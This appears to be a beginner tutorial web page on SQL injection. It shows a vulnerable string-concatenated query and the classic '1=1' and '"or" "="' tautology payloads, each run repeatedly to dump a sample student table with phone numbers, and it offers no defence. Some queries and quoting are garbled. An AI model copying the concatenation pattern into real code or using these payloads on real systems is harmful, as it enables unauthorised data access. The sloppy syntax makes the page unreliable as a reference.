×

SQL Injection

SQL injection is a technique, this may destroy the database. It is one type of hacking technique.

SQL IN WEB PAGES:

Injection occurs when we ask for input like an id or username, this will run the database automatically.

 Example:

Student Table:

sidsnamesagesgenderPhonenumber
1Abhinav22Male9895678909
2Ramya24Female6687654634
3Preetham21Male9867546453
4Nethranand21Male7675643423
5Naveen23Male6567784532
6Harshita22Female9867546231
7Bindu26Female6563412768
8Nandhini23Female6785674839
9Hashish22Male9453215052
10Rahul21Male9998989898

Code:

Code: id = getRequestString(“sid”);
 tsql = “select * from Student where sid = ”+id;

 SQL injection based on condition 1=1 is True:

If the user can type instead of wrong inputs i.e, user id or user password the user can use his knowledge in a smart way tto get outputs.

Code:

Select * from Student where id = 105 or 1=1

Output:

sidsnamesagesgenderPhonenumber
1Abhinav22Male9895678909
2Ramya24Female6687654634
3Preetham21Male9867546453
4Nethranand21Male7675643423
5Naveen23Male6567784532
6Harshita22Female9867546231
7Bindu26Female6563412768
8Nandhini23Female6785674839
9Hashish22Male9453215052
10Rahul21Male9998989898

Note: This above code instead of entering wrong inputs by entering 1 = 1, then returns the details of above mention table. i.e, Student. Displaying the student details of the student by using 1=1 condition.

Displaying the sid, sname of student table.

Code:

Select sid,sname from Student where id = 105 or 1=1

Output:

Student Table:

sidsname
1Abhinav
2Ramya
3Preetham
4Nethranand
5Naveen
6Harshita
7Bindu
8Nandhini
9Hashish
10Rahul

Note: This above code instead of entering wrong inputs by entering 1 = 1, then returns the details of above mention table. i.e, Student. Displaying the sid, sname of the student by using 1=1 condition.

Displaying the  sname, sage of student table.

Code:

Select sname, sage from Student where id = 105 or 1=1;

Output:

snamesage
Abhinav22
Ramya24
Preetham21
Nethranand21
Naveen23
Harshita22
Bindu26
Nandhini23
Hashish22
Rahul21

Displaying the sname, Phonenumber of the student by using 1=1 condition.

Code:

 Select sname, Phonenumber from Student where id = 105 or 1=1;

Output:

Student Table:

snamePhonenumber
Abhinav9895678909
Ramya6687654634
Preetham9867546453
Nethranand7675643423
Naveen6567784532
Harshita9867546231
Bindu6563412768
Nandhini6785674839
Hashish9453215052
Rahul9998989898

Displaying the sname, sgender of the student by using 1=1 condition.

Code:

Select sname, sgender from Student where id = 105 or 1=1;

 Output:

Student Table:

snamesgender
AbhinavMale
RamyaFemale
PreethamMale
NethranandMale
NaveenMale
HarshitaFemale
BinduFemale
NandhiniFemale
HashishMale
RahulMale

 Displaying the sname, sage, sgender, Phonenumber of the student by using 1=1 condition.

Code:

 Select sname, sage, sgender, Phonenumber from Student where id = 105 or 1=1;

Output:

Student Table:

snamesagesgenderPhonenumber
Abhinav22Male9895678909
Ramya24Female6687654634
Preetham21Male9867546453
Nethranand21Male7675643423
Naveen23Male6567784532
Harshita22Female9867546231
Bindu26Female6563412768
Nandhini23Female6785674839
Hashish22Male9453215052
Rahul21Male9998989898

Injection based on “=” is always true:

If the user can type instead of wrong inputs i.e, user id or user password the user can use his knowledge in a smart way by typing “or” “=”. Id = “or” “=”

Syntax :

Select * from table_name where id = “or” “=”;

 Example:

Displaying all the details of student.

Code:

 Select * from Student where id = “or” “=”;

Output:

Student Table:

sidsnamesagesgenderPhonenumber
1Abhinav22Male9895678909
2Ramya24Female6687654634
3Preetham21Male9867546453
4Nethranand21Male7675643423
5Naveen23Male6567784532
6Harshita22Female9867546231
7Bindu26Female6563412768
8Nandhini23Female6785674839
9Hashish22Male9453215052
10Rahul21Male9998989898

Note: This above code instead of entering wrong inputs by entering “or” “=”, then returns the details of above mention table. i.e, Student. Displaying the sid, sname of the student by using “=” condition.

Displaying the sid, sname of student table with “or” “=”

Code:

 Select sid, sname from Student where id = “or” “=”;

Output:

Student Table:

sidsname
1Abhinav
2Ramya
3Preetham
4Nethranand
5Naveen
6Harshita
7Bindu
8Nandhini
9Hashish
10Rahul

Displaying the sname, sage of the student by using ‘=’ condition.

Code:

Select sname, sage from Student where id = “or” “=”;

Output:

snamesage
Abhinav22
Ramya24
Preetham21
Nethranand21
Naveen23
Harshita22
Bindu26
Nandhini23
Hashish22
Rahul21

 Displaying the sname, Phonenumber of the student by using ‘=’ condition. Code:

Select sname, Phonenumber from Student where id = “or” “=”;

Output:

Student Table:

snamePhonenumber
Abhinav9895678909
Ramya6687654634
Preetham9867546453
Nethranand7675643423
Naveen6567784532
Harshita9867546231
Bindu6563412768
Nandhini6785674839
Hashish9453215052
Rahul9998989898

 Displaying the sname, sgender of the student by using ‘=’ condition.

 Code:

 Select sname, sgender from Student where id = “or” “=”;

Output:

Student Table:

snamesgender
AbhinavMale
RamyaFemale
PreethamMale
NethranandMale
NaveenMale
HarshitaFemale
BinduFemale
NandhiniFemale
HashishMale
RahulMale

Displaying the sname, sage, sgender, Phonenumber of the student by using ‘=’ condition.

Code:

Select sname, sage, sgender, Phonenumber from Student where id = “or” “=”; Output:

Student Table:

snamesagesgenderPhonenumber
Abhinav22Male9895678909
Ramya24Female6687654634
Preetham21Male9867546453
Nethranand21Male7675643423
Naveen23Male6567784532
Harshita22Female9867546231
Bindu26Female6563412768
Nandhini23Female6785674839
Hashish22Male9453215052
Rahul21Male9998989898

Related Topics

SQL Arithmetic Operators

This page contains all the information, learn about SQL Arithmetic Operators concept in the SQL table with the help of examples. The Arithmetic Operators is used to perform mathematical calculations on...

5 minutes read.

Where Condition in SQL

WHERE clause is used with the Data Manipulation Language Command in SQL, the Data Manipulation Language commands are the SELECT statement, UPDATE statement, and DELETE statement. WHERE clause condition is an...

5 minutes read.

SQL WHERE Statement

SQL WHERE Statement Introduction WHERE clause is used to include a condition while fetching data from tables.When you have to specify a condition that has to be obeyed while data is...

9 minutes read.

SQL SELECT LIKE Operator

The SQL SELECT LIKE Operator tutorial helps us understand how to use the LIKE operator in the SELECT query with examples. The SQL SELECT LIKE Operator retrieves the records from the...

4 minutes read.

TCL Commands in SQL

In Structured Query Language, TCL is an abbreviation for Transaction Control Language. A single unit of work in a database is formed after the consecutive execution of commands is known...

6 minutes read.

SQL Data Types

In SQL DATA TYPES, each column holds value. Data types can be an integer type, character type, etc., and such data is stored in the database table. The data type is...

4 minutes read.

DML Commands in SQL

DML is an abbreviation of Data Manipulation Language. Data Manipulation Language commands in Structured Query Language manipulate the data in the database. DML commands are used to retrieve records, add records,...

4 minutes read.

SQL WHERE Clause

The WHERE clause is a search filter that returns only true records. The WHERE clause chooses the selected records based on the given conditions. The WHERE clause is used with...

4 minutes read.

SQL Between Operator

SQL Between operator is a logical operator in the Structured Query Language. The Between operator is used to retrieve data within the range specified in the condition in the query. The...

7 minutes read.

SQL Scalar Functions

TEACHER Table LCASE() Function The LCASE() function is used to return lower case values of specified column. Syntax: Select Lcase(column_name) from table_name; Example: Select Lcase(teacher_name) from teacher; Syntax: Select Lcase(column_name) from table_name [where condition]; Example: Select Lcase(teacher_name) from teacher where teacher_id=1; UCASE() Function The UCASE()...

1 minute read.

How to remove duplicates in SQL

Introduction There are some specific rules that needs to be followed while creating the database objects. To improve the performance of a database, a primary key, clustered and non-clustered indexes, and...

9 minutes read.

Check Constraint in SQL

The Check Constraint in SQL is the rule or set of rules used to limit the data range that can be entered in a table column. Check constraint is used...

8 minutes read.

SQL FULL JOIN

In this section, we will help you understand the concept of the SQL FULL Join clause with a few examples. The SQL FULL Join query is executed to display the integrated...

3 minutes read.

SQL Queries

In a database, queries are used to request the result set of data from the table or action on the records. A Query can answer your simple or complicated question, perform...

5 minutes read.

Truncate function in SQL

The TRUNCATE is a numeric function in SQL which truncates the number according to the particular decimal points. Syntax of TRUNCATE Function SELECT TRUNCATE(X, D) AS Alias_Name; In the TRUNCATE syntax, X...

4 minutes read.

space() function in SQL

 This function returns a string with a specified number of spaces. If we specify a number, it returns the strings having that specified number of spaces. SPACE Function is available...

2 minutes read.

SQL COPY Table

In this tutorial, we will learn how to copy tables in SQL with the help of examples. Using the SELECT INTO statement in the SQL we can copy one table into...

4 minutes read.

SQL UNION ALL Operator

This page has all the information about UNION ALL operator, which is used to join all the values from the SELECT queries. Similar records were not considered in the result in...

3 minutes read.

How to create a database in SQL?

How to create a database in SQL It is very necessary to create a database in order to store the data into the database.Database name must always be unique.SQL does not...

6 minutes read.

SQL Syntax

In this tutorial, we will help you understand about the different SQL Syntax concepts with the help of an example. Every Structured Query Language starts with Keywords like select, insert, update,...

5 minutes read.